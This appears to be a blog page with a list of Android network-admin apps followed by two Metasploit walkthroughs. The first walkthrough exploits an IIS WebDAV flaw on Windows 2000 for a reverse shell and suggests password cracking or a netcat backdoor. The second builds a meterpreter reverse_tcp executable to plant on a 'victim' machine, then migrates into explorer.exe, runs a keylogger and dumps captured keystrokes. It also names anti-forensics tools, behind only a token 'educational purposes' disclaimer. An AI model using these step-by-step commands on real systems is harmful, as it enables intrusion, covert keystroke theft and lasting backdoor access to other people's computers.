15 Network Admin Apps for Android

There’s a mobile app for just about everything under the sun now. You can even find apps designed for network administrators. Here we’ll actually take a look at 15 different apps for the mobile Android platform.

These apps can help you discover, monitor, manage, and connect computers, network services, databases, FTP servers, Windows shares, and more—all from your mobile phone or tablet. They can also serve as a handy reference, such as IP calculators and a database of default login credentials.
ActiveDir Manager (Free or $1.99)
You can perform basic administration of a Windows Active Directory Domain: view and manage users, groups, and computers. Right from your Android you could reset user passwords, disable or edit user accounts, adjust group memberships, and more.
It supports Windows Server 2000, 2003, 2008, and later with StartTLS, SSL, or no encryption. No software required on the server; the app connects directly to AD via Wi-Fi or VPN. Thought the free version saves changes to the AD, it doesn't keep connection details to the server.
Cellica Database for Android ($39.99 after 10-day trial)
You can manage databases located on a Windows computer from your Android via mobile Internet or Wi-Fi. You can edit fields, apply SQL select queries, filters, do sorting, and even create databases right from your Android.
Supported databases include: Microsoft Access, Access 2007, Microsoft Excel, Excel 2007, Oracle, SQL Server, DB2, MySQL, PostgreSQL, FoxPro, dBase, R:BASE and any ODBC Compliant Database. This app does require their software to be installed on the Windows PC, which enables the remote administration secured with 128 bit AES encryption.
AndFTP (Free or $5.67)
This FTP client also supports FTPS and SFTP with SSH RSA/DSA keys. Download or upload files with resume support, and share files via email, messaging, Bluetooth, etc. Perform basic admin tasks, including renaming, deleting, updating permissions, and running custom commands.
The Pro version also supports secure copy protocol (SCP) and folder synchronization.
SharesFinder (Free)
Scans the Wi-Fi network and list computers (with IP, MAC address, and SMB name details) that have shared resources (SMB/Windows shared folders, FTP, HTTP). It is a great quick way to audit shared resources on the network and for simple file sharing.
You can directly connect to SMB shares as a guest or input desired username and password. You can then browse, download, upload, create and delete files and folders. For HTTP resources it launches the Android or other default web browser. To access FTP resources, you need to install a separate FTP client, such as AndFTP.
AndSMB (Free)
This SMB client lets you connect to Windows shares via Wi-Fi and 3G/4G, and features a local and remote file browser. You browse, download, upload, create, delete, and synchronize files and folders. You can send files to a shared printer. It also adds sharing functionality for the gallery: select a photo, hit Share, and upload to a Windows share via AndSMB. You can define a WINS server, LMHOSTS and broadcast address for name resolution.
IP Subnet/Supernet Calculator (Free)
Helps you calculates subnet and supernet information. You can input an IP address, subnet mask and bits, maximum subnets, and hosts per subnet. It can then give you the address range, subnet ID, broadcast address, and the IP binary. Classless Inter-Domain Routing (CIDR) addresses are also support. The Base Converter and translate between decimal, binary, octal and hexadecimal numbers.
RouterPasswords (Free)
This is a database of default credentials for over a thousand routers, gateways, modems, and other network devices. Just type the model or brand and you should be able to find the default login username, password, and protocol.
File Expert (Free)
This is a powerful and feature-packed file manager. In addition to basic file operations (Copy, Paste, Move, Create, etc.), it supports thumbnails of media files, native text and image viewing, and can open and decompress archive files: ZIP, RAR, GZIP, TAR, TGZ, and BZ. It also includes an App Manager, which you can use to do quicker batch uninstalls
It can do web and FTP sharing on a Wi-Fi network.  You can connect from another computer or device on the Wi-Fi network to browse, upload, download, and manage the files on your Android. Additionally, it features a SMB client to connect to Windows shares and a FTP client to do file transfers with a FTP server.
Overlook Fing (Free)
This is a network discovery app that can do TCP port scanning, pinging, traceroute, and DNS lookups on a network via the Wi-Fi connection. At first glance you see your Wi-Fi connection details (SSID, IP details, and speed) and a list of computers or devices on the network along with their details (MAC address, IP and vendor). You can then perform a port scan or ping on a particular node. You can add a custom name, change the icon, and notes to each node.
It saves network scans and allows you to export them. It also features integrated launch of third-party apps for SSH, Telnet, FTP, FTPS, SFTP, SCP, HTTP, HTTPS, and SMB.
G-MoN for Android 2.x (Free)
This is a Wi-Fi and GSM/UMTS scanner with GPS support for doing wardrives. It’s great for mapping the locations of Wi-Fi access points and/or cell towers over a campus or neighborhood. You can see the locations with details, such as encryption, channel, and signal strength, on a live map during the wardrive and also later create a KML file for Google Earth.
Wi-Fi Analyzer (Free)
This is a relativity advanced Wi-Fi stumbler to find and analyze of wireless access points. Maybe use it when configuring APs, doing a site survey, during wireless troubleshooting, or network auditing.
At first glance, you’ll see the details of your Wi-Fi connection (SSID, MAC, and IP) and a list of detected networks with their details: SSID, MAC, supported encryption, channel, and signal in negative dBm levels via a graphical bar and text readout. By default, it groups APs with same identifiers. You can export results and/or take a snapshot of the screens.
It also offers several other views or tools. The channel graph gives you a live look at channel and signal usage by each nearby AP. The time graph gives you similar info but over a period of time, so you can see history of the signals. The channel rating chart gives you recommendations on channel usage. The signal meter view and help you find the location of APs via a visual signal meter and sound.
Exchange by Touchdown ($19.99 after 30-day trial)
This is a third-party Exchange email, contact, calendar, and task client. It provides numerous improvements over the native Exchange client on Android. This includes more supported security polices and encryption of Exchange data and files on the Android device. Since is a great improvement since the platform doesn’t yet fully-support whole device encryption like iOS and BlackBerry do.
ConnectBot (Free)
This is an open Secure Shell (SSH) client that also supports Telnet and local connections. This is great if you work with UNIX-based servers or other network hardware that accepts remote administration. You can generate or import keys, run multiple SSH sessions at once, and copy/paste between other sessions and applications.
PC Monitor ($2.81)
You can securely monitor and manage Windows PCs or servers. It supports up to 3 computers without a subscription or up to 100 or more with a yearly subscription. Monitor all the basics and vitals: status and uptime, CPU and memory usage, and info on events, hardware, network, and hard disks. You can also view and manage the Services, Processes, Scheduled Tasks, logged on users, and more. You can even work via a remote Command Prompt. Plus it supports basic user account management for Active Directory.
Server Monitor (Free)
This is a simple monitoring app to get up and down sound and/or vibrate alerts of TCP connections and SSH tunnels. This is a simple and free way to keep tabs on select computers or servers. You can also define the polling frequency in minutes.

Read More

Metasploit Tutorial/walkthrough Part 2

Example of Using Metasploit™

The goal of the exercise below is to become familiar with the Metasploit™ framework and to perform a compromise of a Windows 2000 system.


These steps can be done easily from most popular bootable CD Linux distributions. The steps below are for use with the Whoppix/Whax distro (or now known or replaced by backtrack for those of you who are not old like me the steps are the same just ofc replace the correct locations for whatever distro you use).

If you want to take a trip down memory lane here you go 2005 ish is when these were last updated :P (otherwise just use Back|Track)
Whopix - knopix based
Download Whoppix Linux 2.7.1
Whax - Slax based
Download WHAX 3.0 for Linux - WHAX is the natural evolution of WHoppix - a live cd, standalone penetratin testing toolkit. - Softpedia

To begin, boot to your CD and pull up a shell window. From there you will need to move to the Metasploit™ directory. To do this from a command prompt type:

cd /KNOPPIX/pentest/exploits/framework-2.3/

Launch the Metasploit™ console. To do this, from a command line type the following:

# " ./msfconsole "

Pick which exploit to use

Once the msfconsole is running, it is time to decide which exploit to attempt against the target system. Your options here stub from the following commands:

<!--[if !supportLists]-->use
<!--[if !supportLists]-->show
<!--[if !supportLists]--><!--[endif]-->info

The use command will tell the utility exactly which exploit to select.

The show command will do nothing on its own, but can be combined with exploits or payloads as shown in the examples below.

The info command provides details about a specific module.


Start by entering "show exploits" to see the list of exploits available. Pretty impressive, huh? Many of the exploits listed here are going to work against the target servers and in fact we use many of these exploits in the ethical hacking course.
If you need some hints, I recommend starting with the "iis50_webdav_ntdll" exploit.
To actually start the exploit type "use iis50_webdav_ntdll"
After use – configure options

We’ve selected our exploit, but we are not done yet. We need to set options. These options include the destination IP and the destination port. The options are configured by using the set command. The show advanced command will let you know if there are more options that can be set. Most exploits do not have advanced options.
Start by typing

show options

This will show you the command requirements to run the exploit.
These include the RHOST (This is the host that we are going to compromise) and the RPORT (this is the port that the vulnerable function is running on)
To set these options type

set RHOST <your partner machines IP address>

and press enter. On the next line type

set RPORT 80

Is the exploit going to work?

We have a system, we have an exploit. Are we going to be able to compromise the system? Now is the time to find out.
To perform the check type

check

.


This may not work on all exploits. This will see if the server or target appears vulnerable.
For some exploits you might have to provide information about what type of system to compromise. With the attack listed above this is not necessary. If you want to know why this is important sign-up for the ethical hacking courses. Here are steps if you use an exploit that requires you to select a target.
If your check is unsuccessful, you may need to select some additional options about the target that you are hoping to compromise. This usually includes a description of the OS and the service pack level of the system. In some modules there is a brute force option. What is being configured here is the memory offset that the utility will use to find the vulnerable function. The brute force option will try many memory offsets, but the result will be a lot less stealthy if you are unsuccessful. If you enter

show targets

you should see something like the below.

msf iis50_webdav_ntdll > show targets
Supported Exploit Targets
=========================
0 Windows 2000 Bruteforce

What do we want a successful attack to do?

What Metasploit™ calls a payload, many others refer to as shell code or opcode. This is the code that we wish to have inserted directly into the buffer that we are overflowing. In most cases the shell code is going to be service pack dependant, OS dependant, and architecture (i386) dependant as well. This means that most of the payloads in the Metasploit™ framework will work for only certain OS’s and on certain processors. Even if you select an appropriate payload you will have to configure options to get the payload to work. The most frequently used type of shell code is code that generates a reverse shell from the compromised system back to the attacking system. Using the stubs mentioned before in the exploits section also apply to the payloads section. If you type

show payloads

you should see a response like the below .

msf iis50_webdav_ntdll > show payloads
Metasploit™ Framework Usable Payloads
====================================
win32_bind Windows Bind Shell
win32_bind_dllinject Windows Bind DLL Inject
win32_bind_meterpreter Windows Bind Meterpreter DLL Inject
win32_bind_stg Windows Staged Bind Shell
win32_bind_stg_upexec Windows Staged Bind Upload/Execute
win32_bind_vncinject Windows Bind VNC Server DLL Inject
win32_exec Windows Execute Command
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

In this case the best shell to try will be the win32_reverse payload. To do this type

set PAYLOAD win32_reverse

This payload requires some options. These include the exit function, the local host and the local port.
To see these options type

show options

you should see something like the below:

msf iis50_webdav_ntdll(win32_reverse) > show options

Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ----------- ------------------
optional SSL Use SSL
required RHOST 67.36.70.19 The target address
required RPORT 80 The target port

Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC seh Exit technique: "process", "thread", "seh"
required LHOST Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Windows 2000 Bruteforce

To set the missing options, we will use the set command like above. Before we can set these values we need to know what they are. To find your local IP address open another shell window, by either right clicking on the desktop or (if your CD has this option) look for the computer icon in the program bar. If you right click on the desktop look for the shell option. If you do this step right you should see a new shell box (kinda sorta like a DOS command prompt box on XP) appear.


Once you have the box open type

ifconfig

This will show the information for all of the interfaces for you linux system. This is the equivalent of the ipconfig command in Windows. You should see something like the following:

[root@localhost ~]# ifconfig
eth0 Link encap:Ethernet HWaddr 00:03:25:13:43:F2
inet addr:10.5.14.173 Bcast:10.5.15.255 Mask:255.255.252.0
inet6 addr: fe80::203:25ff:fe13:43f2/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:4563 errors:0 dropped:0 overruns:0 frame:0
TX packets:2905 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3696580 (3.5 MiB) TX bytes:325618 (317.9 KiB)
Interrupt:193 Base address:0x4c00

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:213 errors:0 dropped:0 overruns:0 frame:0
TX packets:213 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:49707 (48.5 KiB) TX bytes:49707 (48.5 KiB)

What we are interested in, is the value for the eth0 (or whatever is active on your system it could be eth1 or some other interface), but you should see the value inet addr: and your IP address listed next to this. In the example above the IP address is 10.5.14.173. If you look closely you'll see that it is there. GO ahead and look – no one will laugh I promise.
Once we know this value we will set it with the set command.



To do this type

set LHOST <your IP address>

This is all that really needs to be set, but for luck I always make one more change – I set the local port to 5555. This is just for superstition. I'm not going to give you exact instructions on how to do this, but if you can figure it out – be my guest and change it.
This payload with this exploit had no advanced options, but

to check for other exploits type

show advanced

You should see something like the below.

msf iis50_webdav_ntdll(win32_reverse) > show advanced
Exploit and Payload Options
===========================

Exploit (Msf::Exploit::iis50_webdav_ntdll):
-------------------------------------------
Payload (Msf::Payload::win32_reverse):
--------------------------------------

Making it all happen

Now is the time to see the fruits of your labor. This next phase will actually compromise the system if you have done everything correctly and the system is vulnerable. If all goes well you will own the box.
To do this type

exploit

Once you launch the exploit it may take some time. The exploit is trying to brute force the memory offset for the vulnerable function. If you don't know what this means and want to learn – see the ethical hacking class as listed above.
If you've done everything right you should see something like the below.

• Starting Reverse Handler.
• Connecting to web server. OK
• Trying return address 0x004e004f...
• Sending request (65739 bytes)
• Connecting to web server. OK
• Trying return address 0x00420041...
• Sending request (65739 bytes)
• Connecting to web server. OK
• Trying return address 0x00430041...
• Sending request (65739 bytes)
• Connecting to web server. OK[
• Trying return address 0x00c10041...
• Sending request (65739 bytes)
• Connecting to web server. OK
• Trying return address 0x00c30041...
• Sending request (65739 bytes)
• Connecting to web server. OK
• Trying return address 0x00c90041...
• Sending request (65739 bytes)

If you are successful you'll have a remote connection into the target machine and can do whatever you want. Once you've done this and received the prompt for the other system you "own the box". I won't tell you what to do next, after all where is the fun in that. Don't trash the system too bad if you want to exploit it again. You might want to try to crack the passwords– or you can create your own netcat backdoor.
Metasploit™ – available from http://www.Metasploit.com
It is not essential that the user boot a linux CD. To try out the framework on a Windows system, The Metasploit Project does provide a Windows installer on their web site.

Read More

Metasploit Quick Start Referennce Guide

--- The Metasploit Framework ---

Note: This is an advance topic.Read Carefully. Feel free to ask any kind of queries . We are always here to help you.

If you are really interested in network security, chances are you must have heard of the Metasploit over the last few years.

Now, have you ever wondered what someone can do to your PC, by just knowing your IP. Here's the answer. He could 0wN you, or in other words , he could have full access to your PC provided you have just a few security loopholes which may arise cause of even a simple reason like not updating your Flash player last week, when it prompted you to do so.

Metasploit is a hacker's best friend, mainly cause it makes the job of exploitation and post-exploitation a lot easier compared to other traditional methods of hacking.

The topic Metasploit is very vast in itself.However, i'll try keeping it basic and simple so that it could be understood by everyone here. Also, Metasploit can be used with several other tools such as NMap or Nessus (all these tools are present in Backtrack ).

In this tutorial, i'll be teaching you how to exploit a system using a meterpreter payload and start a keylogger on the victim's machine.

Hacking through Metasploit is done in 3 simple steps: Point, Click, 0wn.

Before I go into the details of The Metasploit Framework, let me give you a little idea of some basic terms (may seem boring at first, but you must be knowing them)

Vulnerability: A flaw or weakness in system security procedures, design or implementation that could be exploited resulting in notable damage.

Exploit: A piece of software that take advantage of a bug or vulnerability, leading to privilege escalation or DoS attacks on the target.

Overflow: Error caused when a program tries to store data beyond its size. Maybe used by an attacker to execute malicious codes.

Payload: Actual code which runs on the compromised system after exploitation

Now, what Metasploit IS?

It is an open source penetration testing framework, used for developing and executing attacks against target systems. It has a huge database of exploits, also it can be used to write our own 0-day exploits.

METASPLOIT ANTI FORENSICS:

Metasploit has a great collection of tools for anti forensics, making the forensic analysis of the compromised computer little difficult. They are released as a part ofMAFIA(Metasploit Anti Forensic Investigation Arsenal). Some of the tools included are Timestomp, Slacker, Sam Juicer, Transmogrify.

Metasploit comes in the following versions:

1. CLI (Command Line Interface)

2. Web Interface

3. MSF Console

4. MSFwx

5. MSFAPI

I would recommend using the MSF Console because of its effectiveness & powerful from a pentester’s P0V. Another advantage of this mode is, several sessions of msfconsole could be run simultaneously.

I would recommend you doing the following things in Metasploit, on a Backtrack(system or image), avoiding the windows version of the tool.

For those of all who don't know, Backtrack is a linux distro especially for security personals, including all the tools required by a pentester.

Download Backtrack from here. You can download the ISO or VMware image, according to the one you're comfortable with. If you have 2 access to more than 1 system physically, then go for the ISO image and install it on your hard disk.

Let the Hacking Begin :

Open up backtrack. You should have a screen similar to this.

The default login credentials are:

Username: root

Pass: toor

Type in

root@bt:~#/etc/init.d/wicd start

to start the wicd manager

Finally, type "startx" to start the GUI mode:

root@bt:~#startx

First of all, know your Local Ip. Opening up a konsole (on the bottom left of taskbar) and typing in:

root@bt:~#ifconfig

It would be something like 192.168.x.x or 10.x.x.x.

Have a note of it.

Now,

Launch msfconsole by going to Applications>>Backtrack>>Metasploit Engineering Framework>>Framework Version 3>>msfconsole

You should now be having a shell something similar to a command prompt in windows.

msf >

Let’s now create an executable file which establishes a remote connection between the victim and us, using the meterpreter payload.

Open another shell window (”Session>>New Shell” or click on the small icon on the left of the shell tab in the bottom left corner of the window)

root@bt:/opt/metasploit3/msf3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=”your local ip” LPORT=”any port you wish” x > /root/reverse_tcp.exe

Your local IP is the one you noted earlier and for port you could select 4444.

(Everything has to be entered without quotes)

You should get something like this:

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse_tcp

Length: 290

Options: LHOST=192.168.255.130,LPORT=4444

root@bt:/opt/metasploit3/msf3#

Also, now on your backtrack desktop, you would be seeing a reverse_tcp.exe file.

Migrate it to your other computer in the same local network using a thumb drive or by uploading it online.

Now open the 1^st shell window with msfconsole in it.

msf >

Type the following:

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST 192.168.255.130

LHOST => 192.168.255.130

msf exploit(handler) > set LPORT 4444

LPORT => 4444

All the connections are done. You have already made an executable file which makes a reverse connection to you.

And now, you have set the meterpreter to listen to you on port 4444.

The last step you have to do now, is to type in “exploit” and press enter,

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.255.130:4444

[*] Starting the payload handler...

Now, the payload is listening for all the incoming connections on port 444.

[*] Sending stage (749056 bytes) to 192.168.255.1

[*] Meterpreter session 1 opened (192.168.255.130:4444 -> 192.168.255.1:62853) at Sun Mar 13 11:32:12 -0400 2011

You would see a meterpreter prompt like this

meterpreter >

Type in ps to list the active processes

meterpreter > ps

Search for explorer.exe and migrate to the process

meterpreter > migrate 5716

[*] Migrating to 5716...

[*] Migration completed successfully.

meterpreter >

Type in the following:

meterpreter > use priv

Now, if you want to start the Keylogger activity on victim, just type keyscan_start

Now, if you want to go to the victim’s computer,

Jus type shell

meterpreter > shell

Process 5428 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7600]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

You would now be having a command prompt,

Type in whoami, to see the computer’s name of victim :

C:\Windows\system32>whoami

whoami

win7-pc\win 7

C:\Windows\system32>

Let’s suppose you want to start a notepad on the victim’s computer.

Type in:

Let’s say the victim has typed in anything on his computer.

Just type exit, to return to meterpreter.

Now type in keyscan_dump, to see all the typed keystrokes :

meterpreter > keyscan_dump

Dumping captured keystrokes...

GaM3 0V3R

P.S.: The above information is just for educational purposes only. You should test it against the computer you own.

Read More